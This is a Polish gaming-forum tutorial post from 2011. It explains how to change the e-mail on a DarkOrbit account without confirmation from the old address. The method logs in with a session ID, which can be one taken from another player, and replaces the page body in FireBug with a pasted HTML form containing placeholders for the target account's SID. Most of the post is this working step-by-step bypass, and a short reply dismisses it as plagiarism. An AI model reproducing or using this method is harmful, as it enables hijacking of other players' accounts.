[TuT] Bug na e-mail

Sekhmet · 27 Września 2011

Zchomikował polandxxdd Autor: Kamel/DO/

Potrzebne rzeczy:

1. SID konta (opcjonalnie nick i hasło).

2. Mozilla Firefox z dodatkiem FireBug -> Link (skanu nie daje bo to oficjalna strona).

Przechodzimy do czynności:

1. Logujemy się na konto:

a. Jeżeli mamy nick i hasło to normalnie poprzez stronę DarkOrbit -> Link

b. Jeżeli posiadamy tylko aktualny SID od konta to logujemy się poprzez:

http://xxx.darkorbit.bigpoint.com/indexI...&dosid=yyy

----------------------------------------------------------

xxx - skrót serwera, np. pl1, int5, us3 itd.

yyy - aktualny SID od konta

----------------------------------------------------------

2. Przygotowanie Session ID (Jeżeli zalogowałeś się poprzez SID to omiń ten punkt, bo przecież posiadasz już Session ID )

a. Po zalogowaniu się na konto jesteś an stronei głównej. Kliknij PPM a następie z rozwiniętej listy wybierz Pokaż źródło strony:

b. W otwartym oknie wciśnij jednocześnie klawisze CTRL + F, na dole okna ukaże się pasek wyszukiwania, wpisz w niego frazę 'sid'

c. Skopiuj ciąg znaków pomiędzy '=' ,a "

3. Oszukanie systemu (fajna nazwa )

a. Szykujemy sobie link:

http://xxx.darkorbit.bigpoint.com/indexI...&dosid=yyy

----------------------------------------------------------

xxx - skrót serwera, np. pl1, int5, us3 itd.

yyy - aktualny SID od konta

----------------------------------------------------------

b. Kopiujemy go

c. Wylogowujemy się z konta poprzez przycisk LOGOUT.

d. W pasek adresu wklejamy nasz link i naciskamy enter. Znów jesteśmy na koncie. Wchodzimy w 'Zmień dane osobowe' i powinien wyskoczyć taki błąd:

Nie martwice się. Wszystko jest w porządku.

4. Zmiana e-maila bez potwierdzania na starym.

W tym momencie właśnie przyda nam się program FireBug.

a. W oknie z błędem naciskamy PPM -> Zbadaj element:

b. Na dole przeglądarki pojawi nam się nowa ramka, suwakiem przesuwany do góry i zaznaczamy <body>, a następnie wciskamy button 'Edytuj'

c. Możemy teraz edytować zawartość <body>. Na początku zaznaczamy wszystko i usuwamy! Strona powinna zmienić kolor na czarny.

d. W puste okienko po usunięciu zawartości <body> wklejamy ten kod:

Cytat

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"
"http://www.w3.org/TR/html4/loose.dtd">
<html>
<script language="javascript">var BpTrack={start:new Date().getTime(),imp:"37004a1cf38fc37a5ae9d2fac127297b",uid:59128625,pid:503,,sid:"TUTAJ WKLEJ SID KONTA NA KTORYM CHCESZ ZMIENIC EMAIL"};</script><script language="javascript" src="/BpTrack.js"></script>
<title>www.darkorbit.com</title>
<style type="text/css" media="screen"> @import "/css/darkorbit.css?__cv=70a79b106b2a485103c36759cfbf8300"; </style>
<style type="text/css" media="screen"> @import "css/do_registration.css?__cv=afb4e18323cd26d2744b1c2ef29d3500"; </style>

<meta http-equiv="content-type" content="text/html; charset=utf-8" />
<meta name="googlebot" content="NOODP" />
<meta name="msnbot" content="NOODP" />
<meta name="ROBOTS" content="NOYDIR" />
<meta name="Slurp" content="NOYDIR" />
<script src="js/function.js?__cv=8c199c33f37447dc5bb30759085df600" type="text/javascript"></script>
<script>


function choose(welche) {
document.registerform.firma.value = welche;
document.forms['registerform'].submit();
}


</script>

<script type="text/javascript">if (top.location.host != self.location.host) top.location = self.location;</script><!-- affiliateHeadTag -->
<link rel="meta" href="http://int12.darkorbit.bigpoint.com/sharedpages/icra/labels.php" type="application/rdf+xml" title="ICRA labels" />
<meta http-equiv="pics-Label" content='(pics-1.1 "http://www.icra.org/pics/vocabularyv03/" l gen true for "http://int12.darkorbit.bigpoint.com" r (n 0 s 0 v 0 l 1 oa 0 ob 0 oc 0 od 1 oe 0 of 0 og 0 oh 0 c 1))' />

</head>

<body>


<!-- Start Portal Toolbar -->
<div style="width: 100%;background-image: url(http://sharedstatic....r/repeaterx.jpg);">
<table style="width:100%; height: 31px; background:transparent;border-collapse:collapse;" border="0" cellpadding="0" cellspacing="0">
<tr>
<td style="width: 124px;"><a href="http://ru.bigpoint.com/?aid=0&aip=" target="_blank"><img src="http://sharedstatic.bigpoint.com/bp4img/toolbar/logo_leftx.jpg" alt="Bigpoint" border="0"></a></td>
<td width="53" height="31" style=""><div style="height: 24px; padding: 0; padding-top: 7px; color: #DEDEDE; font-weight: bold; font-family: Verdana, Arial, Tahoma; font-size: 12px; background-image: url(http://sharedstatic....ar/news_bgx.jpg);top:0px;left:0px;text-align: center;">News</div></td>
<td height="31" valign="middle" style="vertical-align: middle"> <div style="padding-left: 7px; text-align: left;height:15px;color: #DEDEDE; font-weight: bold; font-family: Verdana, Arial, Tahoma; font-size: 11px; padding-top:0px; padding-bottom:0px; margin-top:0px; overflow: hidden;">
<a href="http://ru.bigpoint.com/news/g22/?aid=0&aip=" target="_blank" style="color: #DEDEDE; font-family: Verdana, Arial, Tahoma; font-size: 11px;">Îäĺâŕéňĺńü ňĺďëĺĺ - âŕń ćä¸ň äĺęŕáđüńęčé ěŕđŕôîí!</a>
| <a href="http://ru.bigpoint.com/news/g22/?aid=0&aip=" target="_blank" style="color: #DEDEDE; font-family: Verdana, Arial, Tahoma; font-size: 11px;"> Äčçŕéí «Áŕńňčîí»</a>
| <a href="http://ru.bigpoint.com/news/g22/?aid=0&aip=" target="_blank" style="color: #DEDEDE; font-family: Verdana, Arial, Tahoma; font-size: 11px;">Ďđîöĺńńîđ «Đŕęĺňîě¸ň»</a>
| <a href="http://ru.bigpoint.com/news/g22/?aid=0&aip=" target="_blank" style="color: #DEDEDE; font-family: Verdana, Arial, Tahoma; font-size: 11px;">Íîâűĺ ńĺđâĺđŕ</a>
| <a href="http://ru.bigpoint.com/news/g22/?aid=0&aip=" target="_blank" style="color: #DEDEDE; font-family: Verdana, Arial, Tahoma; font-size: 11px;">Äĺíü çíŕíčé</a>
</div> </td> <td style="width: 230px; text-align: center; vertical-align: middle;"><div style="width: 230px; padding-top: 3px; height: 18px; background-color: #333333; background-repeat: no-repeat; background-image: url(http://sharedstatic....ar/btn_norm.gif);">
<a href="http://ru.bigpoint.com/?aid=0&aip=" target="_blank" style="color: white; font-family: Verdana, Arial, Tahoma; font-size: 10px;">
<span style="font-weight: bold;">Bigpoint</span> - 955.624 User online
</a>
</div></td>
<td style="width: 5px;"><img src="http://sharedstatic.bigpoint.com/bp4img/toolbar/rightendx.jpg" /></td>
</tr>
</table>
</div>

<!-- End Portal Toolbar -->
<!-- affiliateStartTag -->





<script>

function showInfo() {
var win = window;
width_x = win.innerWidth ? win.innerWidth : win.document.body.clientWidth;
container_x = document.getElementById("infoPopUpContainer").style.width.substr(0,document.getElementById("infoPopUpContainer").style.width.length-2);
document.getElementById("infoPopUpContainer").style.left = ((width_x/2) - (container_x/2))+"px";
document.getElementById("infoPopUpContainer").style.top = "230px";
document.getElementById("infoPopUpContainer").style.display = "block";
}

function closeAll() {
document.getElementById("infoPopUpContainer").style.display = "none";
hideBusyLayer();
}

</script>
<div id="infoPopUpContainer" style="position:absolute;left:0px;top:50px;width:350px;display:none;z-index:2;">


<iframe src="indexInternal.es?action=popIF&layer=&phead=&pcont=&dosid=TUTAJ WKLEJ SID KONTA NA KTORYM CHCESZ ZMIENIC EMAIL" name="Bildframe" width="386" height="349" align="left" scrolling="no" marginheight="0" marginwidth="0" frameborder="0">
</iframe>


</div>



<div class="reg_main">
<div class="reg_bg">
<div style="position: relative;">
<table class="signup">
<tr>
<td>
<table class="signup signup_left">
<tr><td class="signup_label label_description">
Â öĺë˙ő áĺçîďŕńíîńňč čçěĺíĺíčĺ äŕííűő äë˙ âőîäŕ ďđîőîäčň â ňđč ýňŕďŕ:<br />
<br />
1. Čçěĺíč ńâîč âőîäíűĺ äŕííűĺ.<br /> 
2. Çŕéäč â ńâîé ďî÷ňîâűé ˙ůčę.<br /> 
3. Ďĺđĺéäč ďî ńńűëęĺ äë˙ ďîäňâĺđćäĺíč˙.<br /> 
<br /> 
Ó÷ňč, ÷ňî â ńëó÷ŕĺ čçěĺíĺíč˙ ŕäđĺńŕ e-mail, ńńűëęŕ îňďđŕâë˙ĺňń˙ â ďčńüěĺ íŕ ńňŕđűé ŕäđĺń, îňęóäŕ ĺ¸ íóćíî áóäĺň ďîäňâĺđäčňü. Ďîńëĺ ýňîăî îňďđŕâë˙ĺňń˙ íîâŕ˙ ńńűëęŕ íŕ íîâűé ŕäđĺń e-mail, ęîňîđóţ ňŕęćĺ íóćíî áóäĺň ďîäňâĺđäčňü.<br /> 
<br /> 
Íĺ ďóăŕéń˙, âń¸ íŕěíîăî ďđîůĺ, ÷ĺě ěîćĺň ďîęŕçŕňüń˙ íŕ ďĺđâűé âçăë˙ä. Áĺçîďŕńíîńňü ďđĺâűřĺ âńĺăî!<br /> 
<br /> 
Ńîâĺň: ňâîé ďŕđîëü ńëîćíî âçëîěŕňü ňîăäŕ, ęîăäŕ îí ńîäĺđćčň ďđîďčńíűĺ č çŕăëŕâíűĺ áóęâű, öčôđű č ńîńňîčň, ęŕę ěčíčěóě, čç 6 çíŕęîâ!</td></tr>
</table>
</td>
<td>
<form name="userDataChangeForm" id="userDataChangeForm" method="post" action="/indexInternal.es?action=internalUserDataChange">
<table class="signup signup_right">
<tr>
<td class="signup_label label_info" colspan="2">×ňîáű čçěĺíčňü íčę, ďŕđîëü čëč e-mail, ďîćŕëóéńňŕ, óęŕćčňĺ ńâîé ŕäđĺń e-mail. Â öĺë˙ő áĺçîďŕńíîńňč ěű îňďđŕâčě íŕ óęŕçŕííűé ŕäđĺń ńńűëęó äë˙ ďîäňâĺđćäĺíč˙. Ďđîńňî îňęđîéňĺ ďčńüěî, ďĺđĺéäčňĺ ďî óęŕçŕííîé ńńűëęĺ - ăîňîâî!<br /><br /></td>
</tr>
<tr>
<td class="signup_label label_email">
Čçěĺíčňü e-mail:</td>
<td>
<input type="text" name="change_email" value="" class="input_text" /></td>
</tr>
<tr>
<td class="align_buttonRegister">
<input type="button" value="Íŕçŕä" class="input_button signup_back" onclick="location.href='/indexInternal.es?action=internalStart'"/></td>
<td class="align_buttonRegister">
<input type="submit" name="change_submit" value="Äŕëüřĺ" class="input_button change_resendSubmit" /></td>
</tr>
</table>
</form>
</td>
</tr>
</table>
</div>
</div>
</div>
<div class="reg_foot"></div>


<script>
</script>

<!-- affiliateEndTag -->
<object classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" codebase="https://fpdownload.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=8,0,0,0" width="1" height="1"><param name="allowScriptAccess" value="always" /><param name="movie" value="http://bpid.bigpoint.net/bpid.swf" /><param name="FlashVars" value="plv"=%2FGameAPI.php%3Faction%3Dcore.bpid%26bpid%3D" /><param name="wmode" value="transparent" /><embed src="http://bpid.bigpoint.net/bpid.swf" width="1" height="1" allowScriptAccess="always" swLiveConnect="true" type="application/x-shockwave-flash" FlashVars="plv"=%2FGameAPI.php%3Faction%3Dcore.bpid%26bpid%3D" wmode="transparent" /></object>
<script type="text/javascript">var _gaq = _gaq || [];_gaq.push(['_gat._anonymizeIp']);_gaq.push(['_setDomainName', 'none']);_gaq.push(['_setAllowLinker', true]);_gaq.push(['_setAllowHash', false]);_gaq.push(['_setCampSourceKey', '0']);_gaq.push(['_setCampMediumKey', '']);_gaq.push(['_setCustomVar', 1, 'aid', '0', 2]);_gaq.push(['_setCustomVar', 2, 'aip', '', 2]);_gaq.push(['_setCustomVar', 3, 'ait', '', 2]);_gaq.push(['_setCustomVar', 4, 'areaID', '', 2]);_gaq.push(['_setAccount', 'UA-1848713-1']);_gaq.push(['_trackPageview', '/indexInternal.es?action=internalUserDataChange&areaID=']);_gaq.push(['_setAccount', 'UA-17685913-1']);_gaq.push(['_trackPageview', '/indexInternal.es?action=internalUserDataChange&areaID=']);(function() {var ga = document.createElement('script'); ga.type = 'text/javascript'; ga.async = true;ga.src = 'http://www.google-analytics.com/ga.js';var s = document.getElementsByTagName('script')[0]; s.parentNode.insertBefore(ga, s);})();</script>

</body>
</html>

BARDZO WAŻNE!

Zmieniamy w tym pliku SID w dwóch miejscach! - sid=... i dosid=... (wklejamy tutaj sid konta na którym chcemy zmienić e-mail.)

clsid=... zostawiamy tak jak jest, nie ruszamy tego.

e. Pojawiają się dziwne literki ale to nie szkodzi. W puste miejsce wpisujemy nowy adres e-mail konta, a następnie naciskamy drugi przycisk.

Pojawia się błąd, jednak wszystko jest w porządku. E-mail został natychmiastowo zmieniony, bez jakichkolwiek potwierdzeń

Daj + polandxxdd 'owi & Kamel'owi

x070x · 27 Września 2011

plagiat to plagiat.

kosz.

Zaloguj się

👋 Witaj na MPCForum!

[TuT] Bug na e-mail

Rekomendowane odpowiedzi

Sekhmet

Sekhmet

x070x

x070x

Zarchiwizowany